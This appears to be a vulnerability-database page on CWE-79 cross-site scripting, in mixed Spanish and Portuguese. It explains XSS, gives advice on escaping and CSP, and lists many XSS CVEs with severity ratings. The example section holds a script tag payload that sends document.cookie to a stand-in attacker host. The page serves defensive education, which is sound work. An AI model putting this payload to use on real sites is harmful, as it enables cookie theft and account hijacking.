Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-50824MEDIUMWordPress Insert or Embed Articulate Content into WordPress Plugin <= 4.3000000021 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2023-52198MEDIUMWordPress Private Google Calendars Plugin <= 20231125 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-1672MEDIUMNotibar <= 2.1.5 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-64336HIGHClipBucket v5's Manage Photo Feature is Vulnerable to Stored XSS Attack via Photo TitleEPSS 0.3%CVE-2024-51861MEDIUMWordPress EventPress plugin <= 1.0.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46862MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-46846MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-46874MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.3%CVE-2025-47525MEDIUMWordPress Bold Page Builder plugin <= 5.3.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-46875MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.3%CVE-2025-2617MEDIUMyangyouwang 杨有旺 crud 简约后台管理系统 Department Page cross site scriptingEPSS 0.3%CVE-2024-30113MEDIUMHCL Leap is affected by a cross-site scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-4950MEDIUMStored Cross-Site Scripting in CustomerAdministration Portal (KundenManager) in VertiGIS WebOrderSystemEPSS 0.3%CVE-2024-0314MEDIUMXSS vulnerability in FireEye Central ManagementEPSS 0.3%CVE-2026-100153HIGHNewStatPress <= 1.4.5 - Unauthenticated Stored Cross-Site Scripting via URL Request Tracking (urlrequested field)EPSS 0.3%CVE-2026-40470CRITICALHackage package and doc upload stored XSS vulnerabilityEPSS 0.3%CVE-2026-35451MEDIUMTwenty: Stored XSS via BlockNote FileBlockEPSS 0.3%CVE-2024-0317MEDIUMCross-Site Scripting in FireEye EXEPSS 0.3%CVE-2026-83592HIGHContact Form DB for Enfold <= 2.0.2 - Unauthenticated Stored Cross-Site Scripting via Contact Form Field ValuesEPSS 0.3%CVE-2025-1985MEDIUMPEPPERL+FUCHS: Profinet Gateway LB8122A.1.EL – Device is affected by XSS vulnerabilityEPSS 0.3%